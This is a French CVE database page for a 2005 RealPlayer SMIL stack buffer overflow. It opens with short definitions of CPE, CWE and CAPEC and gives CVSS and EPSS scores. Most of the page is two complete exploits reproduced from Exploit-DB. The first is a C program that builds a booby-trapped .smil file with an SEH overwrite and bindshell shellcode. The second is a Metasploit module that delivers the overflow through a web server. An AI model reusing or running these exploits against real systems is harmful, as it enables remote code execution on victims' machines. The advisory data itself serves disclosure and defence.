CPE, qui signifie Common Platform Enumeration, est un système normalisé de dénomination du matériel, des logiciels et des systèmes d'exploitation. CPE fournit un schéma de dénomination structuré pour identifier et classer de manière unique les systèmes informatiques, les plates-formes et les progiciels sur la base de certains attributs tels que le fournisseur, le nom du produit, la version, la mise à jour, l'édition et la langue.
CWE, ou Common Weakness Enumeration, est une liste complète et une catégorisation des faiblesses et des vulnérabilités des logiciels. Elle sert de langage commun pour décrire les faiblesses de sécurité des logiciels au niveau de l'architecture, de la conception, du code ou de la mise en œuvre, qui peuvent entraîner des vulnérabilités.
CAPEC, qui signifie Common Attack Pattern Enumeration and Classification (énumération et classification des schémas d'attaque communs), est une ressource complète, accessible au public, qui documente les schémas d'attaque communs utilisés par les adversaires dans les cyberattaques. Cette base de connaissances vise à comprendre et à articuler les vulnérabilités communes et les méthodes utilisées par les attaquants pour les exploiter.
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Stack-based buffer overflow in the CSmil1Parser::testAttributeFailed function in smlparse.cpp for RealNetworks RealPlayer 10.5 (6.0.12.1056 and earlier), 10, 8, and RealOne Player V2 and V1 allows remote attackers to execute arbitrary code via a .SMIL file with a large system-screen-size value.
Informations du CVE
Métriques
Métriques
Score
Gravité
CVSS Vecteur
Source
V2
5.1
AV:N/AC:H/Au:N/C:P/I:P/A:P
nvd@nist.gov
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
70.13%
–
–
2023-03-12
–
–
–
60.57%
–
2023-06-25
–
–
–
58.32%
–
2024-02-11
–
–
–
46.8%
–
2024-06-02
–
–
–
46.8%
–
2024-08-25
–
–
–
46.8%
–
2024-09-08
–
–
–
46.33%
–
2024-09-22
–
–
–
46.33%
–
2024-10-06
–
–
–
46.33%
–
2024-12-22
–
–
–
55.85%
–
2025-01-19
–
–
–
55.85%
–
2025-03-18
–
–
–
–
75.42%
2025-03-18
–
–
–
–
75.42,%
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Date de publication : 2005-03-06 23h00 +00:00 Auteur : nolimit EDB Vérifié : Yes
/* RealPlayer .smil file buffer overflow
Coded by nolimit@CiSO & Buzzdee
greets to COREiSO & #news & flare & class101 & ESI & RVL & everyone else I forget
This uses a seh overwrite method, which takes advantage of the SEH being placed
in multiple locations over the different OS's. Because of this, it should be
completely universal. :).
Also, we added SEH for enterprise and Standard, if you have a diff 2k3 then deal with it and write your own in.
C:\tools>nc -vv SERVER 1554
SERVER [192.168.1.93] 1554 (?) open
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.
C:\Program Files\Real\RealPlayer>
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char pre[]=
"<smil>\n"
" <head>\n"
" <layout>\n"
" <region id=\"a\" top=\"5\" />\n"
" </layout>\n"
" </head>\n"
" <body>\n"
" <text src=\"1024_768.en.txt\" region=\"size\" system-screen-size=\"";
char shellcode[]=
/* bindshell port 13579 thx to metasploit.com :)
restricted chars: 0x00, 0x90, 0xa0, 0x20, 0x0a, 0x0d, 0x3c, 0x3e,
0x2f, 0x5c, 0x22, 0x58, 0x3d, 0x3b */
"\x29\xc9\x83\xe9\xaf\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x8f"
"\x35\x37\x85\x83\xeb\xfc\xe2\xf4\x73\x5f\xdc\xca\x67\xcc\xc8\x7a"
"\x70\x55\xbc\xe9\xab\x11\xbc\xc0\xb3\xbe\x4b\x80\xf7\x34\xd8\x0e"
"\xc0\x2d\xbc\xda\xaf\x34\xdc\x66\xbf\x7c\xbc\xb1\x04\x34\xd9\xb4"
"\x4f\xac\x9b\x01\x4f\x41\x30\x44\x45\x38\x36\x47\x64\xc1\x0c\xd1"
"\xab\x1d\x42\x66\x04\x6a\x13\x84\x64\x53\xbc\x89\xc4\xbe\x68\x99"
"\x8e\xde\x34\xa9\x04\xbc\x5b\xa1\x93\x54\xf4\xb4\x4f\x51\xbc\xc5"
"\xbf\xbe\x77\x89\x04\x45\x2b\x28\x04\x75\x3f\xdb\xe7\xbb\x79\x8b"
"\x63\x65\xc8\x53\xbe\xee\x51\xd6\xe9\x5d\x04\xb7\xe7\x42\x44\xb7"
"\xd0\x61\xc8\x55\xe7\xfe\xda\x79\xb4\x65\xc8\x53\xd0\xbc\xd2\xe3"
"\x0e\xd8\x3f\x87\xda\x5f\x35\x7a\x5f\x5d\xee\x8c\x7a\x98\x60\x7a"
"\x59\x66\x64\xd6\xdc\x66\x74\xd6\xcc\x66\xc8\x55\xe9\x5d\x02\x8e"
"\xe9\x66\xbe\x64\x1a\x5d\x93\x9f\xff\xf2\x60\x7a\x59\x5f\x27\xd4"
"\xda\xca\xe7\xed\x2b\x98\x19\x6c\xd8\xca\xe1\xd6\xda\xca\xe7\xed"
"\x6a\x7c\xb1\xcc\xd8\xca\xe1\xd5\xdb\x61\x62\x7a\x5f\xa6\x5f\x62"
"\xf6\xf3\x4e\xd2\x70\xe3\x62\x7a\x5f\x53\x5d\xe1\xe9\x5d\x54\xe8"
"\x06\xd0\x5d\xd5\xd6\x1c\xfb\x0c\x68\x5f\x73\x0c\x6d\x04\xf7\x76"
"\x25\xcb\x75\xa8\x71\x77\x1b\x16\x02\x4f\x0f\x2e\x24\x9e\x5f\xf7"
"\x71\x86\x21\x7a\xfa\x71\xc8\x53\xd4\x62\x65\xd4\xde\x64\x5d\x84"
"\xde\x64\x62\xd4\x70\xe5\x5f\x28\x56\x30\xf9\xd6\x70\xe3\x5d\x7a"
"\x70\x02\xc8\x55\x04\x62\xcb\x06\x4b\x51\xc8\x53\xdd\xca\xe7\xed"
"\xf1\xed\xd5\xf6\xdc\xca\xe1\x7a\x5f\x35\x37\x85";
char end[]=
" </body>"
"</smil>";
char overflow[1700];
int main(int argc,char *argv[])
{
FILE *vuln;
if(argc == 1)
{
printf("RealPlayer 10 .smil file local buffer overflow.\n");
printf("Coded by nolimit & buzzdee.\n");
printf("Usage: %s <outputfile>\n",argv[0]);
return 1;
}
vuln = fopen(argv[1],"w");
//build overflow buffer here.
memset(overflow,0x90,sizeof(overflow)); //fill with nops
memcpy(overflow+1068,"\xeb\x08\xeb\x08",4); //
memcpy(overflow+1072,"\x4a\xe1\xc9\x61",4); // se handler in win xp (pop pop ret)
memcpy(overflow+1084,"\xeb\x08\xeb\x08",4); //
memcpy(overflow+1088,"\xae\x7f\xA2\x60",4); // se handler in win2k3 (pop pop ret) for small biz or something
memcpy(overflow+1100,"\xeb\x08\xeb\x08",4); //
memcpy(overflow+1104,"\xae\x7f\xA2\x60",4); // se handler in win2k3 (pop pop ret) enterprise
memcpy(overflow+1108,"\xeb\x08\xeb\x08",4); //jump +8 into nops
memcpy(overflow+1112,"\xbf\xbb\xA2\x60",4); //overwrite seh (win2k) with call ebx (pncrt.dll - hopefully universal ...^^)
memcpy(overflow+1125,shellcode,sizeof(shellcode)); //our shellcode after some nope to land in
if(vuln)
{
//Write file
fprintf(vuln,"%s%s\"/>\n%s",pre,overflow,end);
fclose(vuln);
}
printf("File written.Binds a shell on port 13579.\nOpen with realplayer to exploit.\n");
return 0;
}
// milw0rm.com [2005-03-07]
Date de publication : 2010-05-08 22h00 +00:00 Auteur : Metasploit EDB Vérifié : Yes
##
# $Id: realplayer_smil.rb 9262 2010-05-09 17:45:00Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info = {})
super(update_info(info,
'Name' => 'RealNetworks RealPlayer SMIL Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in RealNetworks RealPlayer 10 and 8.
By creating a URL link to a malicious SMIL file, a remote attacker could
overflow a buffer and execute arbitrary code.
When using this module, be sure to set the URIPATH with an extension of '.smil'.
This module has been tested with RealPlayer 10 build 6.0.12.883 and RealPlayer 8
build 6.0.9.584.
},
'License' => MSF_LICENSE,
'Author' => 'MC',
'Version' => '$Revision: 9262 $',
'References' =>
[
[ 'CVE', '2005-0455' ],
[ 'OSVDB', '14305'],
[ 'BID', '12698' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 500,
'BadChars' => "\x00\x90\x0a\x0d\x20\x3c\x3e\x2f\x5c\x22\x58\x3d\x3b\x40\x3f\x27\x26\x25",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'RealPlayer 10/8 on Windows 2000 SP0-SP4 English', { 'Offset' => 608, 'Ret' => 0x75022ac4 } ],
[ 'RealPlayer 10/8 on Windows XP PRO SP0-SP1 English', { 'Offset' => 584, 'Ret' => 0x71aa2461 } ],
],
'Privileged' => false,
'DisclosureDate' => 'Mar 1 2005',
'DefaultTarget' => 0))
end
def on_request_uri(cli, request)
# Re-generate the payload
return if ((p = regenerate_payload(cli)) == nil)
cruft = rand_text_alpha_upper(1)
bleh = rand_text_alpha_upper(11)
sploit = rand_text_alpha_upper(target['Offset']) + payload.encoded
sploit << "\xeb\x06" + rand_text_alpha_upper(2) + [target.ret].pack('V')
sploit << [0xe8, -485].pack('CV')
# Build the HTML content
content = "<smil><head><layout><region id=\"#{cruft}\" top=\"#{cruft}\" /></layout></head>"
content << "<body><text src=\"#{bleh}.txt\" region=\"size\" system-screen-size=\"#{sploit}\" /></body></smil>"
print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
# Transmit the response to the client
send_response_html(cli, content, { 'Content-Type' => 'text/html' })
# Handle the payload
handler(cli)
end
end